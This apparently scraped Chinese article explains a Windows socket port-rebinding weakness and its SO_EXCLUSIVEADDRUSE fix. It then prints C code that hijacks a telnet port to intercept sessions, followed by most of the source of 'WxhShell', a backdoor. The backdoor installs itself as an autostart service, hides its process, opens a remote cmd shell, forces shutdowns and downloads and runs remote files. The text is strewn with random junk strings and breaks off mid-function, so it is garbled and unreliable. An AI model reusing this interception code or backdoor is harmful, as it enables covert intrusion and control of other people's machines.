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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r5gqRh}+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6$OmOCA% uihH")Mo saddr.sin_family = AF_INET; kI"9T`owR lW"0fZ_x'E saddr.sin_addr.s_addr = htonl(INADDR_ANY); MsI R ~ |OLXb+7X bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GJdL1ptc jTS8
qu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5@RcAQb: Ko&4{}/ 这意味着什么?意味着可以进行如下的攻击: 3^P;mQ$p1 2=?3MXcjy 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &B5&:ib1D S0StC$$1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v{$?Ow T/u 6Gg`ExcT5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '`;=d<' =oVC*b 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dA~_[x:Z Y-8BL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]Sj;\Iz xbi\KT`~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <cZ/_+H%C .RmFYV0, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ITl>HlS g}R#0gkdk} #include V0D&bN* #include +8xT}mX #include FI: H/e5[ #include ];CIo>
b_( DWORD WINAPI ClientThread(LPVOID lpParam); wdt2T8`I/ int main() 8N)Lck2PR { \A^8KVE! WORD wVersionRequested; &~;M16XM,e DWORD ret; -uN{28;@ WSADATA wsaData; #)n$Q^9& BOOL val; 8a)4>B SOCKADDR_IN saddr; ,~,q0PA7J SOCKADDR_IN scaddr; !4<D^eh int err; Ae=JG8Ht~ SOCKET s; '0~?zP SOCKET sc; J;<dO7 j5 int caddsize; t]Ln(r HANDLE mt; t{B@k[| DWORD tid; #qk=R7"Q wVersionRequested = MAKEWORD( 2, 2 ); |X*y-d77W err = WSAStartup( wVersionRequested, &wsaData ); "c} en[ if ( err != 0 ) { LK4NNZf7 printf("error!WSAStartup failed!\n"); >l8?B L return -1; vn*K\, } S@!_{da saddr.sin_family = AF_INET; I++ Le%w [>>_%T\I //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q_^yma Kg~D~
+j saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TDZ==<C saddr.sin_port = htons(23); ;F-
mt( Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) prt(xr4@ { >Q<XyAH~ printf("error!socket failed!\n"); 2.</n}g return -1; L<oQKe7Q: } g||EjCsp val = TRUE; L|<j/bP //SO_REUSEADDR选项就是可以实现端口重绑定的 I9L3Y@(f6m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 117lhx].' { PX?%}~
v printf("error!setsockopt failed!\n"); Q=%W- return -1; \z6UWZ } {S+?n[1r\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]v5/K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w%TrL+v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "0nsY E
wT19m if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !_3b#Caf { t
zd#9 # ret=GetLastError(); q9_AL8_ printf("error!bind failed!\n"); )TVd4s(e return -1; yKrbGK*=_ } k4<28 listen(s,2); 6ERMn"[_w while(1) Nz3+yxv1 { KwMt@1Z caddsize = sizeof(scaddr); N;YFr //接受连接请求 l="X|t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zJ(DO>,p& if(sc!=INVALID_SOCKET) K%L6UQ; { 6^J[SQ6P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]!!?gnPd5 if(mt==NULL) KyT=:f
V { 451.VI}MR printf("Thread Creat Failed!\n"); JW><&hY$" break; mzM95yQ^Z } kl~/tbf } U5-8It2OR CloseHandle(mt); $Yu'B_E6p } XP!m]\E&I closesocket(s); B%u[gNZ WSACleanup(); ( sl{Rgxe* return 0; XRkUv>Yk } gQSVPbzK DWORD WINAPI ClientThread(LPVOID lpParam) (||qFu9a { w (`g)` SOCKET ss = (SOCKET)lpParam; SD*q+Si,1U SOCKET sc; FsO-xG"@" unsigned char buf[4096]; E=,b;S- SOCKADDR_IN saddr; 5Hj/7~ = long num; SX'NFdY DWORD val; hTO2+F* DWORD ret; S9$,.aq //如果是隐藏端口应用的话,可以在此处加一些判断 MUZ]*n&0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 2/t; }pw8 saddr.sin_family = AF_INET; "8ZV%%elp saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GK,{$SC+= saddr.sin_port = htons(23); xjnAK!sD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EI?8/c { eLh35tw printf("error!socket failed!\n"); mT@Gf>}/A return -1; (t&`m[>K } ?&,6Y'" val = 100; r|ZB3L|7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $ eL-fg { c-NUD$ ret = GetLastError(); 60%fva return -1; Ca?w"m~h } (>u1O V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D2D+S { "WGKwi=W ret = GetLastError(); Z>3~n return -1; s/J7z$NEU } 7=X6_AD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T>1#SWQ/9 { 3l`"(5 printf("error!socket connect failed!\n"); sVP\EF8PY closesocket(sc); )$f?v22 closesocket(ss); N
GnE return -1; #k>n5cR@0 } "#0P*3-c while(1) +ru `Zw5, { b0h\l#6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s8]%L4lvu //如果是嗅探内容的话,可以再此处进行内容分析和记录 +RpCh!KP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fq+Cr?- num = recv(ss,buf,4096,0); t'W6Fmwkx if(num>0) qR2cRepV send(sc,buf,num,0);
&``nD else if(num==0) IN1n^f$: break; B3[X{n$px num = recv(sc,buf,4096,0); |SMigSu r` if(num>0) &e).l<B send(ss,buf,num,0); .@mZG<vg else if(num==0) k)F!gV# break; im:[ViR { } ^qC.bv]& closesocket(ss); Xu_1r8-|=b closesocket(sc); mGP%"R2X return 0 ; hTby:$aCg } 6z~ [Ay \?e2qu/ C CP"5E?dcK ========================================================== gV ':Xe P*?2+. 下边附上一个代码,,WXhSHELL 5)k/4l ' Lnn^j#n ========================================================== {#z47Rz -Tuk.>i) #include "stdafx.h" Fgwe`[ 3~WI3ZIR #include <stdio.h> ^Vh^Z)gGi #include <string.h> at*DYZBjDB #include <windows.h> bfJ<~ss/ #include <winsock2.h> +ZE"pA^C #include <winsvc.h> *}(B"FSO #include <urlmon.h> d@Bd*iI< T DPQ+Kg_ #pragma comment (lib, "Ws2_32.lib") xQ?$H?5B< #pragma comment (lib, "urlmon.lib") #gf0*:p r`)'Kd #define MAX_USER 100 // 最大客户端连接数 $V<fJpA #define BUF_SOCK 200 // sock buffer jgpF+V-n$ #define KEY_BUFF 255 // 输入 buffer 98zJ?NaD& Gh{9nM_\" #define REBOOT 0 // 重启 \Z~@/OVc #define SHUTDOWN 1 // 关机 >K%+h)%kI T0@<u #define DEF_PORT 5000 // 监听端口 @WKJ7pt`'N XL1x8IB #define REG_LEN 16 // 注册表键长度 l0',B*og #define SVC_LEN 80 // NT服务名长度 6@(o8i (h@~0S // 从dll定义API h:z$uG typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NZ^hp\q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &)!N5Veb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r0'a-Mk; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %|2x7@&s U?:?NC=1{ // wxhshell配置信息 YZ->ep} struct WSCFG { jR3mV int ws_port; // 监听端口 #xq|/JWs char ws_passstr[REG_LEN]; // 口令 RM25]hx int ws_autoins; // 安装标记, 1=yes 0=no q(#,X~0 char ws_regname[REG_LEN]; // 注册表键名 %wJ>V-\e char ws_svcname[REG_LEN]; // 服务名 \/m-G:| char ws_svcdisp[SVC_LEN]; // 服务显示名 1)-VlQK p char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ci3
b(KR char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v+d`J55 int ws_downexe; // 下载执行标记, 1=yes 0=no ICWHEot char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe"
|gGD3H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gPpk0LZi [XA:pj;rg' }; Z+Fh I^ l>7?B2^<E // default Wxhshell configuration }hc+ENh struct WSCFG wscfg={DEF_PORT, "t>H
B6^ "xuhuanlingzhe", a{}8030S 1, Hv
=7+O$ "Wxhshell", BDi+*8 "Wxhshell", clT[?8* "WxhShell Service", KM
oDcAjH "Wrsky Windows CmdShell Service", -ozcK "Please Input Your Password: ", 6ZC~q=my 1, k,/2]{#53d " http://www.wrsky.com/wxhshell.exe", Gfle"_4m8 "Wxhshell.exe" pf&SIG }; X'7MW?
q@ uHt@;$9A // 消息定义模块 55Ye7P-d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OV7SLf char *msg_ws_prompt="\n\r? for help\n\r#>"; qD}O_<_1ym char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; xHn "D@ char *msg_ws_ext="\n\rExit."; jXyK[q&O& char *msg_ws_end="\n\rQuit."; 6#2E {uy;R char *msg_ws_boot="\n\rReboot..."; -
SCFWc char *msg_ws_poff="\n\rShutdown..."; Rap_1o9#\ char *msg_ws_down="\n\rSave to "; HwBJUr91] HhUk9 >7 char *msg_ws_err="\n\rErr!"; |OBZSk1jp char *msg_ws_ok="\n\rOK!"; chU,));F 6[]O3Aa char ExeFile[MAX_PATH]; g+ cH int nUser = 0;
hh^_Z| 5 HANDLE handles[MAX_USER]; E@)9'?q int OsIsNt; cq1)b\ | D^H4]7wG@ SERVICE_STATUS serviceStatus; TI637yqCU SERVICE_STATUS_HANDLE hServiceStatusHandle; '# J/e0o@ k{+Gv}Y // 函数声明 {&)E$M int Install(void); ~qb-uT\(99 int Uninstall(void); \.MPjD int DownloadFile(char *sURL, SOCKET wsh); I- WR6s= int Boot(int flag); x^!LA,`j void HideProc(void); FmtV[C# int GetOsVer(void); q<Wz9lDMNR int Wxhshell(SOCKET wsl); *> 7Zc void TalkWithClient(void *cs); `g,i`< int CmdShell(SOCKET sock); ZTi KU) int StartFromService(void); gib;> nuBK int StartWxhshell(LPSTR lpCmdLine); [hKt4]R 2~W8tv0^b2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _!E/em VOID WINAPI NTServiceHandler( DWORD fdwControl ); d2<+Pp wO*x0$ // 数据结构和表定义 Vg8c}>7 SERVICE_TABLE_ENTRY DispatchTable[] = ~&Y%yN^ { P&9&/0r=_ {wscfg.ws_svcname, NTServiceMain}, 'FmnlC1 {NULL, NULL} \t' ]Lf }; >I*uo.OF FK`M+ j // 自我安装 2g_2$)2 int Install(void) C_V5.6T! { oa8xuFu(n char svExeFile[MAX_PATH]; V=5v7Y3(j HKEY key; '&Tq/;Ml strcpy(svExeFile,ExeFile); :P20g]( >`Zw0S // 如果是win9x系统,修改注册表设为自启动 '645Fr[lg if(!OsIsNt) { ,~qjL|9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hGlRf_{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #(Ezt% ^ RegCloseKey(key); )+12r6W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @N+6qO} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M07==R7 RegCloseKey(key); {x/)S*:Z return 0; aj@<4A=; } !6DH6<HC } ,L9ioYbp } Bq#B+JwX else { X,i^OM_ QAKA3{-( // 如果是NT以上系统,安装为系统服务 VW *d*! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E|hW{ oX3 if (schSCManager!=0) Qwu~{tf+' { 0N4+6k| SC_HANDLE schService = CreateService 8d*W7>rq ( Fd/.\s schSCManager, +C){&/=# wscfg.ws_svcname, ])uhm)U@ wscfg.ws_svcdisp, 4WZ"8 SERVICE_ALL_ACCESS, -@yu 9=DT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B0eKj=y; SERVICE_AUTO_START, Ym/y2B( SERVICE_ERROR_NORMAL, oBZzMTPe svExeFile, g|PRk9 NULL, >'96SE3 NULL, B_#U|10et NULL, $mq@g NULL, i2(lqhaP NULL mnS F=l;; ); ;Vh5nO if (schService!=0) Fy-N U { m03]SF(#3 CloseServiceHandle(schService); %q)*8 CloseServiceHandle(schSCManager); P{_Xg,Z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h,%b>JFo strcat(svExeFile,wscfg.ws_svcname); y(uE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L>Soj|WUy( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l&4+v.zr RegCloseKey(key); -cW'g return 0; 'k(aZ" } B2DWSp-8* } tWN hFQ' CloseServiceHandle(schSCManager); `oUuAL } :Mq-4U.e } 8O0E;6b kz+OUA@~ return 1; [$[1|r
*Q } uy^vQ/ {3{cU#\QA // 自我卸载 ui$JQ _P int Uninstall(void) #\X="'/ { DEcsFC/SK HKEY key; N!
N>/9 NHjZ`=Js if(!OsIsNt) { 4W$t28) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w;Jby RegDeleteValue(key,wscfg.ws_regname); ,
e6}p RegCloseKey(key); ollk {N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?rG>SA>o RegDeleteValue(key,wscfg.ws_regname); quEP" RegCloseKey(key); ?6=u[))M& return 0; X|iWnz+^ } eub2[, } &>]c"?C* } ]gHi5]\NC else { /PuN+M ,|r%tNh<8$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vm
y?8E6+ if (schSCManager!=0) 1!4-M$- { ToVi; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i G%h- if (schService!=0) &+v!mw > { l9"T"9C{ if(DeleteService(schService)!=0) { ZFNn(n CloseServiceHandle(schService); Gec? CloseServiceHandle(schSCManager); dvl'Sq< return 0;
!8V } ZWH9E.uj CloseServiceHandle(schService); L~PBD?l } D%+cf CloseServiceHandle(schSCManager); th?w&;L } 8o SNnT } } qf=5v v3ky;~ke return 1; ~5Cid)Q}@o } N#Y|MfLc nbECEQ:|B // 从指定url下载文件 LW$(;-rY int DownloadFile(char *sURL, SOCKET wsh) :~Z-K\ { nH=8I~jp HRESULT hr; 'Cv>V"X: ` char seps[]= "/"; jrl'?`O char *token; +[R,wsG char *file; .a0]1IkatV char myURL[MAX_PATH]; m/T3Um char myFILE[MAX_PATH]; (1pR= 5S
EyAhB strcpy(myURL,sURL); /YLHg5n8+ token=strtok(myURL,seps); 1j!LK- while(token!=NULL) pr) `7VuKp { NZTG)< file=token; XDt MFig token=strtok(NULL,seps); iaAj|: } ? +q(,P@* E<~Fi.M;\ GetCurrentDirectory(MAX_PATH,myFILE); FkH HTO strcat(myFILE, "\\"); Xj Rk1~ strcat(myFILE, file); ye-EJDZN send(wsh,myFILE,strlen(myFILE),0); j+9;Cp]N V send(wsh,"...",3,0); \{8?HjJEM hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WEnI[JGe if(hr==S_OK) 5uidi return 0; /Z ?$!u4I else v/m} {&K return 1; NR6wNz&81 w!j 'k|b> } Tx19\\r C+m%_6< // 系统电源模块 nc2=S^Fqu int Boot(int flag) Q:5^K {
mdtG W HANDLE hToken; 6${=N}3Kw TOKEN_PRIVILEGES tkp; ;J>upI ~Oc:b>~ if(OsIsNt) { ^xt @ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pK|~G."6e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #B!HPlrv tkp.PrivilegeCount = 1; Sk6B>O <: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _ g8CvH)?! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h]>QGX[kC if(flag==REBOOT) { li37* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=]
+owl2 return 0; Img$D*BM } {M^BY,%* else { P{K;vEp if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GyZpdp! return 0; nf0]<x2 } DuMzK%
} >lV'}0u) else { @dyh:2! if(flag==REBOOT) { q21l{R{Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Due@' return 0; t+ vz=` } XkhGU?={ else { =o5|W'>` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fpa~~E- return 0; W>j@E|m$ } 4o<rj4G> } <5 } L"tzUYxg return 1; dLfB){>S } SaIY-PC B2,c_[UZ. // win9x进程隐藏模块 H:F'5Zt void HideProc(void) 3oOr*N3R { Nl'@Y^8N ;O7Vl5R HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z0[d;m* if ( hKernel != NULL ) 4:9N]1JCb { 2}n7f7[/b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0T7t. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RKPX*(i~ FreeLibrary(hKernel); IG Ax+3V } hS1I ;*t b]gVZ- return; D&{CC } I.[Lv7U- L|L;< // 获取操作系统版本 .b?Aq^i8 int GetOsVer(void) 2FcNzAaV { 5ZX OSVERSIONINFO winfo; Ms#rvn!J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3rY\y+m GetVersionEx(&winfo); 5eiKMKW[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ob;O,&e0> return 1; unih"};ou else [MuZ^'dR return 0; q
BIekQT } HbRvU}C1 Z2t\4|wr: // 客户端句柄模块 pm=m~ int Wxhshell(SOCKET wsl) npd:a Gx { )8!*,e=4 SOCKET wsh; uM\5GK struct sockaddr_in client; TlowEh8r DWORD myID; ' 55G:r39 e#)NYcr6 while(nUser<MAX_USER) (:I]v_qEYS { h*R w^5,c int nSize=sizeof(client); -p?&vQDo` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mPhu#oK'f if(wsh==INVALID_SOCKET) return 1; @C<ofg3E v;`>pCal handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XF+4*), if(handles[nUser]==0) qX*xQA|ak, closesocket(wsh); ZS%W/.? else y Vp,)T9 nUser++; $}AbR:z } 9;'#,b*( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R+U$;r8l e_|Z& return 0; 1+gF fKq } ?%[~J tS>^x // 关闭 socket T-#4hY` void CloseIt(SOCKET wsh) t>AOF\ { [_nOo ` closesocket(wsh); 5|=J\Lp2I nUser--; 5.*,IedY ExitThread(0); KzP{bK5/ } } lDX3h y|)VNnWM // 客户端请求句柄 tRpY+s~Fq void TalkWithClient(void *cs) f@$W5*j { ,~=]3qmbR ^;'8yE/ SOCKET wsh=(SOCKET)cs; pY@QR?F\ char pwd[SVC_LEN]; Q#G xo char cmd[KEY_BUFF]; |?#JCG char chr[1]; OxYAM,F int i,j; 5 ty2e`~K eb}P/ while (nUser < MAX_USER) { Z[OX{_2]K s~].iQJ{B if(wscfg.ws_passstr) { _
,s^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x};~8lGT>t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }L)[> //ZeroMemory(pwd,KEY_BUFF); Uffwzd! i=0; K^U=" while(i<SVC_LEN) { 9-/q-, O-X(8<~H= // 设置超时 uQKQC?w fd_set FdRead; ~t~[@2?WG struct timeval TimeOut; BLyV~ FD_ZERO(&FdRead); Q{|%kU" FD_SET(wsh,&FdRead); *{vH9TO TimeOut.tv_sec=8; -dixiJ= TimeOut.tv_usec=0; UuWIT3W>% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T2MC`s|` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {#qUZ z- 0#9H;j<Op if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }[;ZZm? pwd =chr[0]; [j-?) if(chr[0]==0xd || chr[0]==0xa) { lG\uJxV pwd=0; \Q|-Npw break; S>0%jCjW } K2zln_W i++; SK\@w9#&$ } Jg;[k FC] *^B // 如果是非法用户,关闭 socket <E4(KE if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ze~P6 } 7P+1W
\ ^)~Smj^d send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e'.BTt58Y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =U3S"W % bW6| &P}X while(1) {
]
#@:VR *~)6 sm ZeroMemory(cmd,KEY_BUFF); f?UI+TU ,Q-,#C" // 自动支持客户端 telnet标准 m"n74cxS j=0; (N9-YP?qm while(j<KEY_BUFF) { HLW_Y|QaFo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $&as5z8 cmd[j]=chr[0]; x"Ky_P~ if(chr[0]==0xa || chr[0]==0xd) { 'Gn>~m cmd[j]=0; d/7R}n^ break; <?KPyg2 } O JcS%-~ j++; -wXeue},> } ,a{85HLr] PY5 &Fwjc // 下载文件 qLmzA@Cv if(strstr(cmd,"http://")) { l;iU9<~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); XPX?+W=mv if(DownloadFile(cmd,wsh)) Mk}T send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1,wcf, else nqo{]fn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]@#9B>v= } kkq1:\pZ]a else { >9{?]x eA4D.7HDK switch(cmd[0]) { >5-1?vi |Mb{0mKb // 帮助 k_7m[o case '?': { Vgm'&YT send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M@cFcykK break; sF
{,n0<8 } Z A(u"T~ // 安装 Uj(0M;#%o+ case 'i': { JY"jj}H]| if(Install()) %y RGN send(wsh,msg_ws_err,strlen(msg_ws_err),0); PFJ$Ia| else ?@rd,:'dE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9^}&PEl break; \V>5)Rn } R(wUu#n$ // 卸载 7 9tE case 'r': { Mh)?A/e if(Uninstall()) v)+g<! send(wsh,msg_ws_err,strlen(msg_ws_err),0); (.4lsKN< else ).71gp@& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *BsK6iVb break;
RNk|h } 7zG
r+Px // 显示 wxhshell 所在路径 3k1e case 'p': { N9w"Lb char svExeFile[MAX_PATH]; AQ'%}(#0 strcpy(svExeFile,"\n\r"); ]DNPG" strcat(svExeFile,ExeFile); bT,_=7F send(wsh,svExeFile,strlen(svExeFile),0); *5feB# break; Cy;UyZ } ;XN|dq // 重启 o Xm
! case 'b': { ,Wlt[T(.; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Fjbj5w0 if(Boot(REBOOT)) cw<IL send(wsh,msg_ws_err,strlen(msg_ws_err),0); XKWq{,Ks else { I8bM-k):9R closesocket(wsh); <X)\P}"L4 ExitThread(0); ]X6<yzu&+l } 2{=]Pf break; es)^^kGj6f } '7?Y+R@|L // 关机 QEr<(wM-y case 'd': { 7a"06Et^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lwl1ta- if(Boot(SHUTDOWN)) t%}<S~" send(wsh,msg_ws_err,strlen(msg_ws_err),0); _WEJ,0*#' else { cB uuq closesocket(wsh); q A .9X4NQ ExitThread(0); Q!+AiSTU } `DYhGk break; =|?`5!A } ,U\s89 // 获取shell NH/A`Wm case 's': { gv`_+E{P CmdShell(wsh); a3yNd
closesocket(wsh); -.h)CM@L ExitThread(0); 5Y *4a%" break; KL_/f } 1$0Kvvg[ // 退出 ~[Tcl case 'x': { T~E;@weR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ga
+,
P CloseIt(wsh); I-R7+o break; AX v
q~XE } w
% Hj' // 离开 n[jXqFm!` case 'q': { Q4cCg7|0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7ui<2(W@0 closesocket(wsh); ~0p8joOH WSACleanup(); :Qge1/ exit(1); Al^tM0T^ break; uz!8=,DFw } _WZx].|A= } F+hV'{|w` } %E_Y4Oe1 V;: k- // 提示信息 nq!=9r if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "B3jq^ } C'I&< } liS' TDo)8+.2z return; 2_wpj;E } J@-'IJ ZN}`A7 // shell模块句柄 77M!2S_E int CmdShell(SOCKET sock) $V87=_} { L/u|90)L STARTUPINFO si; LLgw1 @-D ZeroMemory(&si,sizeof(si)); J&aN6 l? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @}q, ';H7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qArR5OJ PROCESS_INFORMATION ProcessInfo; %NkiY iA char cmdline[]="cmd"; p6j-8ggL CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]0R*F30] return 0; b:S$oE } *P' X[z :gsRJy1 // 自身启动模式 hF-QbO int StartFromService(void) 5~h)pt47 { eX"%b(;s typedef struct 4pL'c@' { 51ViJdZ DWORD ExitStatus; iM8Cw/DS DWORD PebBaseAddress; NV./p`k DWORD AffinityMask; w,IJ44f ^% DWORD BasePriority; RFbf2s\t ULONG UniqueProcessId; 5mAb9F8@ ULONG InheritedFromUniqueProcessId; I;@q`Tm } PROCESS_BASIC_INFORMATION; _`SDG5 Kz;Ar&^`N PROCNTQSIP NtQueryInformationProcess; }C @xl9S " 807+|Ol[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;SXkPs3q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4(htdn6 \ QP(d77n HANDLE hProcess; q&:7R
